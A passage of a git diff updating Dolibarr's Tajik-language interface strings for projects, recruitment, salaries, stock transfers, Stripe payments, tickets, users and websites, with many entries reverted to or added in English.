SwitchOnSaleStatus=Switch on sale status SwitchOnPurchaseStatus=Switch on purchase status +UpdatePrice=Increase/decrease customer price StockMouvementExtraFields= Extra Fields (stock mouvement) +InventoryExtraFields= Extra Fields (inventory) +ScanOrTypeOrCopyPasteYourBarCodes=Scan or type or copy/paste your barcodes +PuttingPricesUpToDate=Update prices with current known prices +PMPExpected=Expected PMP +ExpectedValuation=Expected Valuation +PMPReal=Real PMP +RealValuation=Real Valuation +ConfirmEditExtrafield = Select the extrafield you want modify +ConfirmEditExtrafieldQuestion = Are you sure you want to modify this extrafield? +ModifyValueExtrafields = Modify value of an extrafield +OrProductsWithCategories=Or products with tags/categories diff --git a/htdocs/langs/tg_TJ/projects.lang b/htdocs/langs/tg_TJ/projects.lang index b5fadb314a1..55d91073a3c 100644 --- a/htdocs/langs/tg_TJ/projects.lang +++ b/htdocs/langs/tg_TJ/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=Ин назар ҳама лоиҳаҳо ва вазифаҳое TasksDesc=Ин намуд ҳамаи лоиҳаҳо ва вазифаҳоро муаррифӣ мекунад (иҷозатҳои корбарии шумо ба шумо барои дидани ҳама чиз иҷозат медиҳанд). AllTaskVisibleButEditIfYouAreAssigned=Ҳама вазифаҳо барои лоиҳаҳои тахассусӣ намоёнанд, аммо шумо метавонед вақтро танҳо барои вазифаи ба корбари интихобшуда таъиншуда ворид кунед. Вазифаро таъин кунед, агар ба шумо лозим аст, ки вақти онро ворид кунед. OnlyYourTaskAreVisible=Танҳо вазифаҳои ба шумо супоридашуда намоёнанд. Агар ба шумо лозим аст, ки вақтро дар ягон вазифа ворид кунед ва агар вазифа дар ин ҷо намоён набошад, шумо бояд вазифаро ба худатон супоред. +ImportDatasetProjects=Projects or opportunities ImportDatasetTasks=Вазифаҳои лоиҳаҳо ProjectCategories=Барчасбҳо/категорияҳои лоиҳа NewProject=Лоиҳаи нав @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=Миқдори пешбари лоиҳаҳ OpportunitiesStatusForProjects=Миқдори лоиҳаҳо аз рӯи мақом пешсафанд ShowProject=Нишон додани лоиҳа ShowTask=Нишон додани вазифа +SetThirdParty=Set third party SetProject=Танзими лоиҳа +OutOfProject=Out of project NoProject=Ягон лоиҳа муайян ё молик нест NbOfProjects=Шумораи лоиҳаҳо NbOfTasks=Шумораи вазифаҳо @@ -122,7 +125,8 @@ ValidateProject=Тасвирро тасдиқ кунед ConfirmValidateProject=Шумо мутмаин ҳастед, ки мехоҳед ин лоиҳаро тасдиқ кунед? CloseAProject=Лоиҳа пӯшед ConfirmCloseAProject=Шумо мутмаин ҳастед, ки мехоҳед ин лоиҳаро пӯшед? -AlsoCloseAProject=Ҳамчунин лоиҳаро пӯшед (онро кушода нигоҳ доред, агар ба шумо то ҳол вазифаҳои истеҳсолиро риоя кардан лозим бошад) +AlsoCloseAProject=Also close project +AlsoCloseAProjectTooltip=Keep it open if you still need to follow production tasks on it ReOpenAProject=Лоиҳаи кушод ConfirmReOpenAProject=Оё мутмаинед, ки мехоҳед ин лоиҳаро дубора кушоед? ProjectContact=Тамосҳои лоиҳа @@ -165,7 +169,7 @@ OpportunityProbability=Эҳтимоли роҳбарӣ OpportunityProbabilityShort=Пробаби сурб. OpportunityAmount=Миқдори роҳбар OpportunityAmountShort=Миқдори роҳбар -OpportunityWeightedAmount=Миқдори вазнини имконият +OpportunityWeightedAmount=Amount of opportunity, weighted by probability OpportunityWeightedAmountShort=Опп. миқдори вазн OpportunityAmountAverageShort=Миқдори миёнаи қурбонӣ OpportunityAmountWeigthedShort=Миқдори сурбшудаи вазн @@ -238,7 +242,7 @@ OppStatusPENDING=Интизоранд OppStatusWON=Ғолиб OppStatusLOST=Гумшуда Budget=Буҷет -AllowToLinkFromOtherCompany=Иҷозат диҳед, ки лоиҳаро аз ширкати дигар пайваст кунед идентификаторҳои тарафи сеюм, ки бо вергул ҷудо карда шудаанд: метавонанд ҳамаи лоиҳаҳои ин сеюмро пайванд диҳанд (Мисол: 123,4795,53)
      +AllowToLinkFromOtherCompany=Allow to link an element with a project of other company

      Supported values:
      - Keep empty: Can link elements with any projects in the same company (default)
      - "all": Can link elements with any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link elements with any projects of these third partys (Example: 123,4795,53)
      LatestProjects=Лоиҳаҳои охирини %s LatestModifiedProjects=Лоиҳаҳои охирини %s OtherFilteredTasks=Дигар вазифаҳои филтршуда @@ -282,7 +286,7 @@ ProfitIsCalculatedWith=Фоида бо истифода аз он ҳисоб к AddPersonToTask=Ба вазифаҳо низ илова кунед UsageOrganizeEvent=Истифода: Ташкили чорабиниҳо PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Лоиҳаро ҳамчун пӯшида тасниф кунед, вақте ки ҳамаи вазифаҳо иҷро мешаванд (100%% пешрафт) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Эзоҳ: лоиҳаҳои мавҷуда бо ҳама вазифаҳо дар пешрафти 100%% таъсир намерасонанд: шумо бояд онҳоро дастӣ пӯшед. Ин хосият танҳо ба лоиҳаҳои кушод таъсир мерасонад. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks already set to a progress of 100 %% won't be affected: you will have to close them manually. This option only affects open projects. SelectLinesOfTimeSpentToInvoice=Хатҳои вақти сарфшударо ҳисоб накунед, пас амали оммавии "Ҳисобнома -фактура" -ро барои ҳисоб кардани онҳо интихоб кунед ProjectTasksWithoutTimeSpent=Project tasks without time spent FormForNewLeadDesc=Thanks to fill the following form to contact us. You can also send us an email directly to %s. diff --git a/htdocs/langs/tg_TJ/recruitment.lang b/htdocs/langs/tg_TJ/recruitment.lang index aff829ed9be..234c15c0285 100644 --- a/htdocs/langs/tg_TJ/recruitment.lang +++ b/htdocs/langs/tg_TJ/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=Иштироки почтаи электронӣ ToUseAGenericEmail=Барои истифодаи почтаи электронӣ. Агар номаълум набошад, почтаи электронии масъули ҷалбкунӣ истифода мешавад NewCandidature=Барномаи нав ListOfCandidatures=Рӯйхати барномаҳо -RequestedRemuneration=Музди дархостшуда -ProposedRemuneration=Мукофоти пешниҳодшуда +Remuneration=Salary +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=Шартнома таклиф этилди ContractSigned=Шартнома ба имзо расид ContractRefused=Шартнома рад кард RecruitmentCandidature=Ариза JobPositions=Ҷойҳои корӣ RecruitmentCandidatures=Барномаҳо -InterviewToDo=Мусоҳиба кардан +InterviewToDo=Contacts to follow AnswerCandidature=Ҷавоби ариза YourCandidature=Аризаи шумо YourCandidatureAnswerMessage=Ташаккур ба шумо барои дархостатон.
      ... @@ -74,3 +75,5 @@ JobClosedTextCanceled=Вазифаи корӣ баста аст. ExtrafieldsJobPosition=Хусусиятҳои иловагӣ (мансабҳои корӣ) ExtrafieldsApplication=Хусусиятҳои иловагӣ (дархостҳои корӣ) MakeOffer=Пешниҳод кунед +WeAreRecruiting=We are recruiting. This is a list of open positions to be filled... +NoPositionOpen=No positions open at the moment diff --git a/htdocs/langs/tg_TJ/salaries.lang b/htdocs/langs/tg_TJ/salaries.lang index c7d1c2b9d97..5c553df0b98 100644 --- a/htdocs/langs/tg_TJ/salaries.lang +++ b/htdocs/langs/tg_TJ/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Ҳисоби баҳисобгирӣ барои корбарони сеюм истифода мешавад -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Ҳисоби баҳисобгирии муҳосибӣ, ки дар корти корбар муайян шудааст, танҳо барои баҳисобгирии зерпардохт истифода мешавад. Ин барои китоби умумӣ ва ҳамчун арзиши пешфарзии баҳисобгирии Subledger истифода мешавад, агар ҳисоби махсуси баҳисобгирии корбар дар корбар муайян карда нашуда бошад. +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Account (from the Chart of Account) used by default for "user" third parties +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Ҳисоби баҳисобгирӣ бо нобаёнӣ барои пардохти музди меҳнат CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=Бо нобаёнӣ, ҳангоми эҷод кардани маош опсияи "Ба таври худкор пардохти умумӣ" -ро холӣ гузоред Salary=Музди меҳнат @@ -24,3 +24,4 @@ SalariesStatistics=Омори музди меҳнат SalariesAndPayments=Музди меҳнат ва пардохтҳо ConfirmDeleteSalaryPayment=Оё шумо ин пардохти музди меҳнатро нест кардан мехоҳед? FillFieldFirst=Fill employee field first +UpdateAmountWithLastSalary=Set amount with last salary diff --git a/htdocs/langs/tg_TJ/stocks.lang b/htdocs/langs/tg_TJ/stocks.lang index 03fe4d7059f..2013e0c12c3 100644 --- a/htdocs/langs/tg_TJ/stocks.lang +++ b/htdocs/langs/tg_TJ/stocks.lang @@ -24,6 +24,7 @@ StockAtDateInFuture=Сана дар оянда StocksByLotSerial=Саҳмияҳо аз рӯи қуръа/серия LotSerial=Бисёр/серияҳо LotSerialList=Рӯйхати серияҳо/серияҳо +SubjectToLotSerialOnly=Products subject to lot/serial only Movements=Ҳаракатҳо ErrorWarehouseRefRequired=Номи истинод ба анбор лозим аст ListOfWarehouses=Рӯйхати анборҳо @@ -48,7 +49,7 @@ StockCorrection=Ислоҳи саҳҳомӣ CorrectStock=Захираи дуруст StockTransfer=Интиқоли саҳмияҳо TransferStock=Ҳиссаи интиқол -MassStockTransferShort=Интиқоли оммавии саҳмияҳо +MassStockTransferShort=Bulk stock change StockMovement=Ҳаракати саҳҳомӣ StockMovements=Ҳаракатҳои саҳҳомӣ NumberOfUnit=Шумораи воҳидҳо @@ -146,8 +147,9 @@ Replenishments=Ивазкуниҳо NbOfProductBeforePeriod=Миқдори маҳсулоти %s дар давраи қабл аз интихобшуда мавҷуд аст (<%s) NbOfProductAfterPeriod=Миқдори маҳсулоти %s пас аз давраи интихобшуда дар саҳҳомӣ аст (> %s) MassMovement=Ҳаракати оммавӣ -SelectProductInAndOutWareHouse=Анбори манбаъ ва анбори мақсаднок, маҳсулот ва миқдорро интихоб кунед ва "%s" -ро клик кунед. Пас аз он ки ин барои ҳама ҳаракатҳои зарурӣ анҷом дода мешавад, клик кунед "%s". +SelectProductInAndOutWareHouse=Select a source warehouse (optional), a target warehouse, a product and a quantity then click "%s". Once this is done for all required movements, click on "%s". RecordMovement=Интиқоли сабт +RecordMovements=Record stock movements ReceivingForSameOrder=Маблағҳо барои ин фармоиш StockMovementRecorded=Ҳаракати саҳмияҳо сабт карда шуд RuleForStockAvailability=Қоидаҳо оид ба талаботи саҳҳомӣ @@ -176,7 +178,7 @@ ProductStockWarehouseCreated=Маҳдудияти саҳҳомӣ барои са ProductStockWarehouseUpdated=Маҳдудияти саҳҳомӣ барои саҳмияҳои оптималӣ ва дилхоҳ дуруст нав карда мешавад ProductStockWarehouseDeleted=Маҳдудияти саҳҳомӣ барои саҳмияҳои оптималӣ ва дилхоҳ дуруст нест карда шуд AddNewProductStockWarehouse=Маҳдудияти навро барои саҳмияҳои оптималӣ ва дилхоҳ муқаррар кунед -AddStockLocationLine=Миқдорро кам кунед ва клик кунед, то анбори дигари ин маҳсулотро илова кунед +AddStockLocationLine=Decrease quantity then click to split the line InventoryDate=Санаи инвентаризатсия Inventories=Inventories NewInventory=Инвентаризатсияи нав @@ -234,7 +236,7 @@ StockIncrease=Афзоиши саҳмияҳо StockDecrease=Камшавии саҳмияҳо InventoryForASpecificWarehouse=Инвентаризатсия барои анбори мушаххас InventoryForASpecificProduct=Инвентаризатсия барои як маҳсулоти мушаххас -StockIsRequiredToChooseWhichLotToUse=Барои интихоб кардани кадом лот саҳмия лозим аст +StockIsRequiredToChooseWhichLotToUse=An existing stock is required to be able to choose which lot to use ForceTo=Маҷбур кардан ба AlwaysShowFullArbo=Дар равзанаи истиноди анбор дарахти пурраи анборро намоиш диҳед (Огоҳӣ: Ин метавонад нишондиҳандаҳоро ба таври назаррас коҳиш диҳад) StockAtDatePastDesc=Шумо метавонед дар ин ҷо саҳмияҳоро (саҳмияҳои воқеӣ) дар санаи додашуда дар гузашта дидан кунед @@ -254,7 +256,7 @@ ReOpen=Боз кардан ConfirmFinish=Оё шумо бастани инвентаризатсияро тасдиқ мекунед? Ин ҳама ҳаракатҳои саҳҳомиро ба вуҷуд меорад, то саҳмияҳои худро ба миқдори воқеии ба инвентаризатсия воридшуда навсозӣ кунанд. ObjectNotFound=%s ёфт нашуд MakeMovementsAndClose=Ҳаракатҳоро эҷод кунед ва пӯшед -AutofillWithExpected=Replace real quantity with expected quantity +AutofillWithExpected=Fill real quantity with expected quantity ShowAllBatchByDefault=Бо нобаёнӣ, тафсилоти партияро дар ҷадвали "саҳмия" -и маҳсулот нишон диҳед CollapseBatchDetailHelp=Шумо метавонед намоиши пешфарзии тафсилоти партияро дар конфигуратсияи модули саҳмияҳо таъин кунед ErrorWrongBarcodemode=Ҳолати штрих -кодҳои номаълум @@ -265,9 +267,53 @@ ProductBarcodeDoesNotExist=Маҳсулот бо штрих -код вуҷуд WarehouseId=Warehouse ID WarehouseRef=Warehouse Ref SaveQtyFirst=Save the real inventoried quantities first, before asking creation of the stock movement. +ToStart=Start InventoryStartedShort=Started ErrorOnElementsInventory=Operation canceled for the following reason: ErrorCantFindCodeInInventory=Can't find the following code in inventory QtyWasAddedToTheScannedBarcode=Success !! The quantity was added to all the requested barcode. You can close the Scanner tool. -StockChangeDisabled=Change on stock disabled +StockChangeDisabled=Stock change disabled NoWarehouseDefinedForTerminal=No warehouse defined for terminal +ClearQtys=Clear all quantities +ModuleStockTransferName=Advanced Stock Transfer +ModuleStockTransferDesc=Advanced management of Stock Transfer, with generation of transfer sheet +StockTransferNew=New stock transfer +StockTransferList=Stock transfers list +ConfirmValidateStockTransfer=Are you sure you want to validate this stocks transfer with reference %s ? +ConfirmDestock=Decrease of stocks with transfer %s +ConfirmDestockCancel=Cancel decrease of stocks with transfer %s +DestockAllProduct=Decrease of stocks +DestockAllProductCancel=Cancel decrease of stocks +ConfirmAddStock=Increase stocks with transfer %s +ConfirmAddStockCancel=Cancel increase of stocks with transfer %s +AddStockAllProduct=Increase of stocks +AddStockAllProductCancel=Cancel increase of stocks +DatePrevueDepart=Intended date of departure +DateReelleDepart=Real date of departure +DatePrevueArrivee=Intended date of arrival +DateReelleArrivee=Real date of arrival +HelpWarehouseStockTransferSource=If this warehouse is set, only itself and its children will be available as source warehouse +HelpWarehouseStockTransferDestination=If this warehouse is set, only itself and its children will be available as destination warehouse +LeadTimeForWarning=Lead time before alert (in days) +TypeContact_stocktransfer_internal_STFROM=Sender of stocks transfer +TypeContact_stocktransfer_internal_STDEST=Recipient of stocks transfer +TypeContact_stocktransfer_internal_STRESP=Responsible of stocks transfer +StockTransferSheet=Stocks transfer sheet +StockTransferSheetProforma=Proforma stocks transfer sheet +StockTransferDecrementation=Decrease source warehouses +StockTransferIncrementation=Increase destination warehouses +StockTransferDecrementationCancel=Cancel decrease of source warehouses +StockTransferIncrementationCancel=Cancel increase of destination warehouses +StockStransferDecremented=Source warehouses decreased +StockStransferDecrementedCancel=Decrease of source warehouses canceled +StockStransferIncremented=Closed - Stocks transfered +StockStransferIncrementedShort=Stocks transfered +StockStransferIncrementedShortCancel=Increase of destination warehouses canceled +StockTransferNoBatchForProduct=Product %s doesn't use batch, clear batch on line and retry +StockTransferSetup = Stocks Transfer module configuration +Settings=Settings +StockTransferSetupPage = Configuration page for stocks transfer module +StockTransferRightRead=Read stocks transfers +StockTransferRightCreateUpdate=Create/Update stocks transfers +StockTransferRightDelete=Delete stocks transfers +BatchNotFound=Lot / serial not found for this product diff --git a/htdocs/langs/tg_TJ/stripe.lang b/htdocs/langs/tg_TJ/stripe.lang index 603a5ec47c1..4bb52b86399 100644 --- a/htdocs/langs/tg_TJ/stripe.lang +++ b/htdocs/langs/tg_TJ/stripe.lang @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Калиди зинда дар Webhook ONLINE_PAYMENT_WAREHOUSE=Ҳангоме ки пардохти онлайн анҷом дода мешавад, саҳмияҳо барои коҳиш додани саҳмия истифода мешаванд
      (TODO Вақте ки имкони коҳиш додани саҳмия дар асоси амали суратҳисоб сурат мегирад ва пардохти онлайн ҳисобнома -фактураро тавлид мекунад?) StripeLiveEnabled=Stripe live фаъол аст (дар акси ҳол ҳолати санҷиш/қуттии қуттиҳо) StripeImportPayment=Пардохтҳои Stripe воридотӣ -ExampleOfTestCreditCard=Намунаи корти кредитӣ барои санҷиш: %s => дуруст, %s => хатои CVC, %s => гузашт, %s => пардохт ноком шуд +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +ExampleOfTestBankAcountForSEPA=Example of bank account BAN for direct debit test: %s StripeGateways=Дарвозаҳои рахӣ OAUTH_STRIPE_TEST_ID=ID муштарии Stripe Connect (тақрибан _...) OAUTH_STRIPE_LIVE_ID=ID муштарии Stripe Connect (тақрибан _...) @@ -61,6 +62,7 @@ DeleteACard=Кортро нест кунед ConfirmDeleteCard=Шумо мутмаин ҳастед, ки ин корти кредитӣ ё дебетиро нест кардан мехоҳед? CreateCustomerOnStripe=Дар Stripe муштарӣ эҷод кунед CreateCardOnStripe=Дар Stripe корт эҷод кунед +CreateBANOnStripe=Create bank on Stripe ShowInStripe=Дар Stripe нишон диҳед StripeUserAccountForActions=Ҳисоби корбаре, ки барои почтаи электронӣ дар бораи баъзе чорабиниҳои Stripe истифода мешавад (пардохтҳои Stripe) StripePayoutList=Рӯйхати пардохтҳои Stripe @@ -69,3 +71,8 @@ ToOfferALinkForLiveWebhook=Истинод барои насб кардани Str PaymentWillBeRecordedForNextPeriod=Пардохт барои давраи оянда сабт карда мешавад. ClickHereToTryAgain= Барои дубора кӯшиш кардан ин ҷо клик кунед ... CreationOfPaymentModeMustBeDoneFromStripeInterface=Бо назардошти қоидаҳои қавии аутентификатсияи муштариён, сохтани корт бояд аз backoffice Stripe анҷом дода шавад. Шумо метавонед ин ҷо клик кунед, то сабти муштариёни Stripe -ро фаъол созед: %s +STRIPE_CARD_PRESENT=Card Present for Stripe Terminals +TERMINAL_LOCATION=Location (address) for Stripe Terminals +RequestDirectDebitWithStripe=Request Direct Debit with Stripe +STRIPE_SEPA_DIRECT_DEBIT=Enable the Direct Debit payments through Stripe + diff --git a/htdocs/langs/tg_TJ/ticket.lang b/htdocs/langs/tg_TJ/ticket.lang index ac9b1fa27b4..d71894deb80 100644 --- a/htdocs/langs/tg_TJ/ticket.lang +++ b/htdocs/langs/tg_TJ/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Тағир додани чиптаҳо Permission56003=Билетҳоро нест кунед Permission56004=Идоракунии чиптаҳо Permission56005=Чиптаҳои ҳамаи шахсони сеюмро бинед (барои корбарони беруна муассир нест, ҳамеша бо тарафи сеюме, ки ба онҳо вобаста аст, маҳдуд аст) +Permission56006=Export tickets +Tickets=Tickets TicketDictType=Чипта - намудҳо TicketDictCategory=Чипта - гурӯҳҳо TicketDictSeverity=Чипта - вазнинӣ @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=Иштирокчии беруна OriginEmail=Хабарнигори почтаи электронӣ Notify_TICKET_SENTBYMAIL=Паёми чиптаро тавассути почтаи электронӣ фиристед +ExportDataset_ticket_1=Tickets + # Status Read=Хондан Assigned=Таъин карда шудааст @@ -90,8 +94,8 @@ TicketPublicAccess=Интерфейси оммавӣ, ки бидуни шино TicketSetupDictionaries=Навъи чипта, вазнинӣ ва рамзҳои таҳлилӣ аз луғатҳо танзим карда мешаванд TicketParamModule=Танзими тағирёбандаи модул TicketParamMail=Танзимоти почтаи электронӣ -TicketEmailNotificationFrom=Sender e-mail for ticket answers -TicketEmailNotificationFromHelp=Sender e-mail for ticket answers sent from Dolibarr +TicketEmailNotificationFrom=Sender e-mail for notification on answers +TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com TicketEmailNotificationTo=Notify ticket creation to this e-mail address TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation TicketNewEmailBodyLabel=Паёми матнӣ пас аз сохтани чипта фиристода мешавад @@ -99,6 +103,8 @@ TicketNewEmailBodyHelp=Матни дар ин ҷо нишон додашуда TicketParamPublicInterface=Танзимоти интерфейси оммавӣ TicketsEmailMustExist=Барои сохтани чипта суроғаи почтаи электронии мавҷударо талаб кунед TicketsEmailMustExistHelp=Дар интерфейси оммавӣ, суроғаи почтаи электронӣ бояд барои сохтани чиптаи нав дар пойгоҳи додаҳо пур карда шавад. +TicketCreateThirdPartyWithContactIfNotExist=Ask name and company name for unknown emails. +TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. PublicInterface=Интерфейси оммавӣ TicketUrlPublicInterfaceLabelAdmin=URL -и алтернативӣ барои интерфейси оммавӣ TicketUrlPublicInterfaceHelpAdmin=Тақаллусро ба веб -сервер муайян кардан ва ба ин васила интерфейси оммавиро бо URLи дигар дастрас кардан мумкин аст (сервер бояд дар ин URLи нав ҳамчун прокси амал кунад) @@ -147,6 +153,8 @@ TicketsAutoNotifyCloseHelp=When closing a ticket, you will be proposed to send a TicketWrongContact=Provided contact is not part of current ticket contacts. Email not sent. TicketChooseProductCategory=Product category for ticket support TicketChooseProductCategoryHelp=Select the product category of ticket support. This will be used to automatically link a contract to a ticket. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. # # Index & list page @@ -178,7 +186,7 @@ CreatedBy=Аз ҷониби муаллиф NewTicket=Билети нав SubjectAnswerToTicket=Ҷавоби билет TicketTypeRequest=Навъи дархост -TicketCategory=Гурӯҳбандии чиптаҳо +TicketCategory=Ticket group SeeTicket=Билетро бинед TicketMarkedAsRead=Билет ҳамчун хондашуда қайд карда шудааст TicketReadOn=Хонда шуд @@ -190,8 +198,7 @@ TicketAssigned=Ҳоло чипта таъин карда мешавад TicketChangeType=Тағир додани намуди TicketChangeCategory=Тағир додани рамзи таҳлилӣ TicketChangeSeverity=Тағир додани шиддат -TicketAddMessage=Паём илова кунед -AddMessage=Паём илова кунед +TicketAddMessage=Add private message MessageSuccessfullyAdded=Билет илова карда шуд TicketMessageSuccessfullyAdded=Паём бомуваффақият илова карда шуд TicketMessagesList=Рӯйхати паёмҳо @@ -202,8 +209,8 @@ TicketSeverity=Шиддатнокӣ ShowTicket=Билетро бинед RelatedTickets=Чиптаҳои марбут TicketAddIntervention=Эҷоди мудохила -CloseTicket=Пӯшед | Билетро ҳал кунед -AbandonTicket=Билетро тарк кунед +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Пӯшед | Билетро ҳал кунед ConfirmCloseAticket=Бастани чиптаро тасдиқ кунед ConfirmAbandonTicket=Оё шумо пӯшидани чиптаро ба мақоми 'партофташуда' тасдиқ мекунед? @@ -217,18 +224,17 @@ SendMessageByEmail=Паёмро тавассути почтаи электрон TicketNewMessage=Хабари нав ErrorMailRecipientIsEmptyForSendTicketMessage=Қабулкунанда холӣ аст. Фиристодани почтаи электронӣ нест TicketGoIntoContactTab=Лутфан ба ҷадвали "Тамос" ворид шавед, то онҳоро интихоб кунед -TicketMessageMailIntro=Муқаддима +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=Ин матн танҳо дар аввали почтаи электронӣ илова карда мешавад ва захира карда намешавад. -TicketMessageMailIntroLabelAdmin=Introduction text to all ticket answers TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr -TicketMessageMailSignature=Имзо -TicketMessageMailSignatureHelp=Ин матн танҳо дар охири почтаи электронӣ илова карда мешавад ва захира карда намешавад. -TicketMessageMailSignatureText=Message sent by %s via Dolibarr -TicketMessageMailSignatureLabelAdmin=Имзои почтаи электронӣ -TicketMessageMailSignatureHelpAdmin=Ин матн пас аз паёми ҷавоб ворид карда мешавад. +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=This text will be inserted after the response message. TicketMessageHelp=Танҳо ин матн дар рӯйхати паёмҳо дар корти чипта сабт карда мешавад. TicketMessageSubstitutionReplacedByGenericValues=Тағирёбандаҳои ивазшаванда бо арзишҳои умумӣ иваз карда мешаванд. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=Аз он вақт гузашт TicketTimeToRead=Вақт пеш аз хондан гузашт TicketTimeElapsedBeforeSince=Вақт пеш / аз он гузашт @@ -239,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=Дар чипта паёми нав TicketAssignedToYou=Билет таъин карда шуд TicketAssignedEmailBody=Ба шумо чиптаи #%s аз ҷониби %s таъин карда шудааст MarkMessageAsPrivate=Паёмро ҳамчун хусусӣ қайд кунед +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=Ин паём ба корбарони беруна намоиш дода намешавад TicketEmailOriginIssuer=Эмитент дар пайдоиши чиптаҳо InitialMessage=Паёми ибтидоӣ @@ -294,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=Шумо метавонед ҷараён TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link TicketEmailPleaseDoNotReplyToThisEmail=Лутфан бевосита ба ин почтаи электронӣ ҷавоб надиҳед! Истинодро барои посух додан ба интерфейс истифода баред. TicketPublicInfoCreateTicket=Ин шакл ба шумо имкон медиҳад, ки чиптаи дастгирӣ дар системаи идоракунии мо сабт кунед. -TicketPublicPleaseBeAccuratelyDescribe=Лутфан мушкилотро дақиқ тавсиф кунед. Маълумоти бештарро пешниҳод кунед, то ба мо имкон диҳем, ки дархости шуморо дуруст муайян кунем. +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=Лутфан ID пайгирии чиптаро ворид кунед TicketTrackId=ID пайгирии ҷамъиятӣ OneOfTicketTrackId=Яке аз ID пайгирии шумо diff --git a/htdocs/langs/tg_TJ/users.lang b/htdocs/langs/tg_TJ/users.lang index d268d4f6d17..7df85aa9491 100644 --- a/htdocs/langs/tg_TJ/users.lang +++ b/htdocs/langs/tg_TJ/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Аз гурӯҳ хориҷ кунед PasswordChangedAndSentTo=Рамз иваз карда шуда, ба %s фиристода шуд. PasswordChangeRequest=Дархост барои иваз кардани парол барои %s PasswordChangeRequestSent=Дархост барои иваз кардани парол барои %s ба %s фиристода шудааст. -IfLoginExistPasswordRequestSent=Агар ин воридшавӣ ҳисоби дуруст бошад, почтаи электронӣ барои аз нав танзимкунии парол фиристода шудааст. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=Агар ин почтаи электронӣ ҳисоби дуруст бошад, почтаи электронӣ барои аз нав танзимкунии парол фиристода шудааст. ConfirmPasswordReset=Аз нав танзимкунии паролро тасдиқ кунед MenuUsersAndGroups=Истифодабарандагон ва гурӯҳҳо @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Link to user LinkedToDolibarrThirdParty=Link to third party CreateDolibarrLogin=Истифодабаранда эҷод кунед CreateDolibarrThirdParty=Эҷоди як шахси сеюм -LoginAccountDisableInDolibarr=Ҳисоб дар Dolibarr хомӯш карда шудааст. +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=Арзиши шахсиро истифода баред -InternalUser=Истифодабарандаи дохилӣ ExportDataset_user_1=Истифодабарандагон ва хосиятҳои онҳо DomainUser=Истифодабарандаи домен %s Reactivate=Аз нав фаъол кунед @@ -128,3 +128,8 @@ DateLastLogin=Date last login DatePreviousLogin=Date previous login IPLastLogin=IP last login IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/tg_TJ/website.lang b/htdocs/langs/tg_TJ/website.lang index 610ac5fa899..3367de55646 100644 --- a/htdocs/langs/tg_TJ/website.lang +++ b/htdocs/langs/tg_TJ/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=Рамз +WebsiteName=Name of the website WebsiteSetupDesc=Дар ин ҷо вебсайтҳое, ки мехоҳед истифода баред, эҷод кунед. Сипас ба менюи Вебсайтҳо ворид шавед, то онҳоро таҳрир кунед. DeleteWebsite=Вебсайтро нест кунед ConfirmDeleteWebsite=Шумо мутмаин ҳастед, ки мехоҳед ин вебсайтро нест кунед? Ҳама саҳифаҳо ва мундариҷаи он низ нест карда мешаванд. Файлҳои боршуда (ба монанди директорияи медиа, модули ECM, ...) боқӣ мемонанд. @@ 